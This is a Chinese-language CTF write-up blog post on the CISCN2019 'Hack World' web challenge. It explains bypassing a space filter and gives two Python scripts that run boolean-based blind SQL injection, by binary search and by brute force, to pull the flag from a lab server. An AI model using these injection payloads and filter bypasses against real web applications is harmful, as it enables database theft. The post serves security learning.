[CISCN2019 华北赛区 Day2 Web1]Hack World(二分法写布尔注入脚本)
2024-08-28 02:06:10
记一道布尔注入的题,存在过滤字符。
从题目看应该是一道注入题。提示存在flag表flag列。
输入1和2的返回结果不一样,可能是布尔注入。
简单用万能密码尝试了一下。提示SQL Injection Checked。显然是存在过滤的。FUZZ测试:
好像并没有过滤掉很多的东西。ascii和substr都存在,但是空格被过滤了。
绕过空格的方法:
1、注释绕过
/**/
/*!*/
2、括号绕过
3、HTML编码绕过
常用的URL编码中,会把空格编码成%20,所以通过浏览器发包,进行的URL编码中,空格被编码成%20,而这是属于HTML编码中从 %00 到 %8F的范围,但在HTML编码中,还有一个编码可以取代空格,也就是%a0。
我们这里因为没过滤掉括号我们自己括号绕过空格。
这里应用一下大佬的脚本https://www.cnblogs.com/20175211lyz/p/11435298.html
import string
import requests
import string
url = "http://29358cad-60be-4902-8aef-31e2f5a30721.node3.buuoj.cn/index.php"
result = ""
right = "Hello"
for i in range(1,50):
high = 127
low = 32
mid = (low+high) // 2 #找中间数
while high>low:
payload = "if(ascii(substr((select(flag)from(flag)),%s,1))>%s,1,2)"%(i,mid)
date = {"id":payload}
repos = requests.post(url,data=date)
if right in repos.text:
low = mid + 1 #假如返回的字符串中有Hello,即flag的某个字符的ascii码比中间数大,我们要增大中间数
else:
high = mid #假如返回的字符串中没有Hello,即flag的某个字符的ascii码比中间数小,我们要把最大数调整到原来的中间数位置
mid = (low+high) //2
result += chr(int(mid)) #中间数不一定是整数,用int转成整数
print(result)
下面是自己写的。如果有大师傅看到这篇文章,指点一下小弟,下面是自己写的脚本能跑,但是有点问题。
flag{eb683c48e1a849f79d3ff65e693f9551} //自己跑出来的flag
flag{eb683c48-e1a8-49f7-9d3f-f65e693f9551} //别人脚本跑出来的flag,这个是正确的
自己写的脚本跑不出“-”这个字符。其他的字母和数字是一样的。
import requests
import string
url="http://29358cad-60be-4902-8aef-31e2f5a30721.node3.buuoj.cn/index.php"
dic = string.digits+string.ascii_letters+"!@#$%^&*()_=+{}-"
result =""
for i in range(1,60):
for each in dic:
payload = "if((ascii(substr((select(flag)from(flag)),%s,1))=ascii('%s')),1,2)"%(i,each)
print(payload)
date = {"id":payload}
rep = requests.post(url=url,data=date)
if "Hello" in rep.text:
print(each)
result += each
print(result)
break
print(result)
最新文章
- 安装完ODAC,出现ORA-12560:TNS:协议适配器错误 12541 无监听程序的解决
- [转]阿里云配置mysql远程连接
- 《linux内核设计与实现》读书笔记第十八章
- jquery.util.easyui.dialog
- jvm 内存整理 -----学习
- HDU 4602 Magic Ball Game(离线处理,树状数组,dfs)
- DP总结 ——QPH
- C#使用System.Data.SQLite操作SQLite
- NET设计模式-单例模式(Singleton Pattern)
- Cocos2D实现RPG游戏人物地图行走的跟随效果
- Java基础系列--06_抽象类与接口概述
- PhpStorm代码编辑区竖线的用途以及如何去掉
- Android--小游戏
- 百度地图api在Html中显示,在jsp页面中不显示解决方法
- css居中小技巧
- JUnit-三角形判断测试
- BZOJ3730 震波 | 动态点分治
- 【Hive学习之一】Hive简介
- ASCII字符代码表
- JAVA 并发:CLH 锁 与 AbstractQueuedSynchronizer
热门文章
- 仅使用JsonUtility和File类实现Json数据读写
- yoyogo v1.7.4 发布,支持 grpc v1.3.8 &; etcd 3.5.0
- 暑假自学java第十一天
- Nginx 实践:location 路径匹配
- 「AGC023D」 Go Home
- 远程连接Linux上的MongoDB服务
- kubespray-2.14.2安装kubernetes-1.18.10(ubuntu-20.04.1)
- Python开发篇——构建虚拟Python开发环境(Conda+Poetry)
- debian9 python环境设置
- 2021 NOI冬令营